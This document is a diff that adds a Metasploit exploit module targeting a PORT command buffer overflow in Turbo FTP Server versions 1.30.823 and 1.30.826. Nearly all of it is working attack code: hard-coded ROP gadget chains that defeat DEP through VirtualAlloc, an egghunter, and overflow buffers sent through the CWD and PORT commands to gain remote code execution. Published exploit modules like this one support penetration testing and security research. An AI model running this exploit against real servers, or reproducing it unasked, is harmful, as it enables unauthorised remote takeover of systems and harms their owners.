|
| 1 | +## |
| 2 | +# |
| 3 | +## |
| 4 | + |
| 5 | +## |
| 6 | +# This file is part of the Metasploit Framework and may be subject to |
| 7 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 8 | +# web site for more information on licensing and terms of use. |
| 9 | +# http://metasploit.com/ |
| 10 | +## |
| 11 | + |
| 12 | +require 'msf/core' |
| 13 | + |
| 14 | +class Metasploit3 < Msf::Exploit::Remote |
| 15 | + Rank = GreatRanking |
| 16 | + |
| 17 | + include Msf::Exploit::Remote::Ftp |
| 18 | + include Msf::Exploit::Remote::Egghunter |
| 19 | + |
| 20 | + def initialize(info = {}) |
| 21 | + super(update_info(info, |
| 22 | + 'Name' => 'Turbo FTP Server 1.30.823 PORT Overflow', |
| 23 | + 'Description' => %q{ |
| 24 | + This module exploits the buffer overflow found in the PORT |
| 25 | + command in Turbo FTP Server 1.30.823 & 1.30.826. |
| 26 | + }, |
| 27 | + 'Author' => [ |
| 28 | + 'Zhao Liang', #Initial Descovery |
| 29 | + 'Lincoln', #Metasploit |
| 30 | + 'corelanc0d3r', #Metasploit |
| 31 | + 'thelightcosine',#Metasploit |
| 32 | + ], |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'Version' => '$', |
| 35 | + 'Platform' => [ 'win' ], |
| 36 | + 'References' => |
| 37 | + [ |
| 38 | + [ 'OSVDB', '85887' ], |
| 39 | + ], |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'BadChars' => "\x00", |
| 43 | + 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, |
| 44 | + 'EncoderOptions' => |
| 45 | + { |
| 46 | + 'BufferRegister' => 'EDI', |
| 47 | + } |
| 48 | + |
| 49 | + }, |
| 50 | + 'Targets' => |
| 51 | + [ |
| 52 | + [ 'Automatic', {} ], |
| 53 | + ['Windows Universal TurboFtp 1.30.823', |
| 54 | + { |
| 55 | + 'Ret' => 0x00411985, # RETN (ROP NOP) [tbssvc.exe] |
| 56 | + 'ver' => 823 |
| 57 | + }, |
| 58 | + |
| 59 | + ], |
| 60 | + [ 'Windows Universal TurboFtp 1.30.826', |
| 61 | + { |
| 62 | + 'Ret' => 0x004fb207, # RETN (ROP NOP) [tbssvc.exe] |
| 63 | + 'ver' => 826 |
| 64 | + }, |
| 65 | + ], |
| 66 | + ], |
| 67 | + |
| 68 | + 'DisclosureDate' => 'Oct 03 2012', |
| 69 | + 'DefaultTarget' => 0)) |
| 70 | + end |
| 71 | + |
| 72 | + def check |
| 73 | + connect |
| 74 | + disconnect |
| 75 | + if (banner =~ /1\.30\.823/) |
| 76 | + return Exploit::CheckCode::Vulnerable |
| 77 | + elsif (banner =~ /1\.30\.826/) |
| 78 | + return Exploit::CheckCode::Vulnerable |
| 79 | + end |
| 80 | + return Exploit::CheckCode::Safe |
| 81 | + end |
| 82 | + |
| 83 | + |
| 84 | + def create_rop_chain(ver) |
| 85 | + |
| 86 | + # rop chain generated with mona.py - www.corelan.be |
| 87 | + if ver == 823 |
| 88 | + rop_gadgets = |
| 89 | + [ |
| 90 | + 0x004b692a, # POP ECX # RETN [tbssvc.exe] |
| 91 | + 0x005f6074, # ptr to &VirtualAlloc() [IAT tbssvc.exe] |
| 92 | + 0x0046f82a, # MOV EDX,DWORD PTR DS:[ECX] # SUB EAX,EDX # RETN [tbssvc.exe] |
| 93 | + 0x00423b95, # XCHG EDX,EDI # RETN [tbssvc.exe] |
| 94 | + 0x00423a27, # XCHG ESI,EDI # RETN [tbssvc.exe] |
| 95 | + 0x005d1c99, # POP EBP # RETN [tbssvc.exe] |
| 96 | + 0x004cad5d , # & jmp esp [tbssvc.exe] |
| 97 | + 0x004ab16b, # POP EBX # RETN [tbssvc.exe] |
| 98 | + 0x00000001, # 0x00000001-> ebx |
| 99 | + 0x005ef7f6, # POP EDX # RETN [tbssvc.exe] |
| 100 | + 0x00001000, # 0x00001000-> edx |
| 101 | + 0x005d7139, # POP ECX # RETN [tbssvc.exe] |
| 102 | + 0x00000040, # 0x00000040-> ecx |
| 103 | + 0x004df1e0, # POP EDI # RETN [tbssvc.exe] |
| 104 | + 0x00411985, # RETN (ROP NOP) [tbssvc.exe] |
| 105 | + 0x00502639, # POP EAX # RETN [tbssvc.exe] |
| 106 | + 0x90909090, # nop |
| 107 | + 0x00468198, # PUSHAD # RETN [tbssvc.exe] |
| 108 | + ].flatten.pack("V*") |
| 109 | + |
| 110 | + elsif ver == 826 |
| 111 | + rop_gadgets = |
| 112 | + [ |
| 113 | + 0x0050eae4, # POP ECX # RETN [tbssvc.exe] |
| 114 | + 0x005f7074, # ptr to &VirtualAlloc() [IAT tbssvc.exe] |
| 115 | + 0x004aa7aa, # MOV EDX,DWORD PTR DS:[ECX] # SUB EAX,EDX # RETN [tbssvc.exe] |
| 116 | + 0x00496A65, # XOR EAX,EAX [tbssvc.exe] |
| 117 | + 0x004badda, # ADD EAX,EDX # RETN [tbssvc.exe] |
| 118 | + 0x00411867, # XCHG EAX,ESI # XOR EAX,EAX # POP EBX # RETN [tbssvc.exe] |
| 119 | + 0x00000001, # 0x00000001-> ebx |
| 120 | + 0x0058a27a, # POP EBP # RETN [tbssvc.exe] |
| 121 | + 0x004df7dd, # & call esp [tbssvc.exe] |
| 122 | + 0x005f07f6, # POP EDX # RETN [tbssvc.exe] |
| 123 | + 0x00001000, # 0x00001000-> edx |
| 124 | + 0x004adc08, # POP ECX # RETN [tbssvc.exe] |
| 125 | + 0x00000040, # 0x00000040-> ecx |
| 126 | + 0x00465fbe, # POP EDI # RETN [tbssvc.exe] |
| 127 | + 0x004fb207, # RETN (ROP NOP) [tbssvc.exe] |
| 128 | + 0x00465f36, # POP EAX # RETN [tbssvc.exe] |
| 129 | + 0x90909090, # nop |
| 130 | + 0x004687ff, # PUSHAD # RETN [tbssvc.exe] |
| 131 | + ].flatten.pack("V*") |
| 132 | + end |
| 133 | + return rop_gadgets |
| 134 | + |
| 135 | + end |
| 136 | + |
| 137 | + def exploit |
| 138 | + |
| 139 | + my_target = target |
| 140 | + if my_target.name == 'Automatic' |
| 141 | + print_status("Automatically detecting the target") |
| 142 | + connect |
| 143 | + disconnect |
| 144 | + |
| 145 | + if (banner =~ /1\.30\.823/) |
| 146 | + my_target = targets[1] |
| 147 | + elsif (banner =~ /1\.30\.826/) |
| 148 | + my_target = targets[2] |
| 149 | + end |
| 150 | + if (not my_target) |
| 151 | + print_status("No matching target...quiting") |
| 152 | + return |
| 153 | + end |
| 154 | + target = my_target |
| 155 | + end |
| 156 | + |
| 157 | + print_status("Selected Target: #{my_target.name}") |
| 158 | + connect_login |
| 159 | + |
| 160 | + rop_chain = create_rop_chain(target['ver']) |
| 161 | + rop = rop_chain.unpack('C*').join(',') |
| 162 | + |
| 163 | + eggoptions = |
| 164 | + { |
| 165 | + :checksum => true, |
| 166 | + :eggtag => 'w00t', |
| 167 | + :depmethod => 'virtualalloc', |
| 168 | + :depreg => 'esi' |
| 169 | + } |
| 170 | + badchars = "\x00" |
| 171 | + hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions) |
| 172 | + |
| 173 | + speedupasm = "mov edx,eax\n" |
| 174 | + speedupasm << "sub edx,0x1000\n" |
| 175 | + speedupasm << "sub esp,0x1000" |
| 176 | + speedup = Metasm::Shellcode.assemble(Metasm::Ia32.new, speedupasm).encode_string |
| 177 | + |
| 178 | + fasterhunter = speedup |
| 179 | + fasterhunter << hunter |
| 180 | + |
| 181 | + print_status("Connecting to target #{target.name} server") |
| 182 | + |
| 183 | + buf1 = rand_text_alpha(2012) |
| 184 | + buf1 << egg |
| 185 | + buf1 << rand_text_alpha(100) |
| 186 | + |
| 187 | + buf2 = rand_text_alpha(4).unpack('C*').join(',') |
| 188 | + buf2 << "," |
| 189 | + buf2 << [target['Ret']].pack("V").unpack('C*').join(',') #eip |
| 190 | + buf2 << "," |
| 191 | + buf2 << rop |
| 192 | + buf2 << "," |
| 193 | + buf2 << fasterhunter.unpack('C*').join(',') |
| 194 | + buf2 << "," |
| 195 | + buf2 << rand_text_alpha(90).unpack('C*').join(',') |
| 196 | + |
| 197 | + send_cmd( ['CWD', buf1], true ); |
| 198 | + send_cmd( ['PORT', buf2], true ); |
| 199 | + |
| 200 | + print_status("Egghunter deployed, locating shellcode") |
| 201 | + |
| 202 | + handler |
| 203 | + disconnect |
| 204 | + end |
| 205 | + |
| 206 | +end |
0 commit comments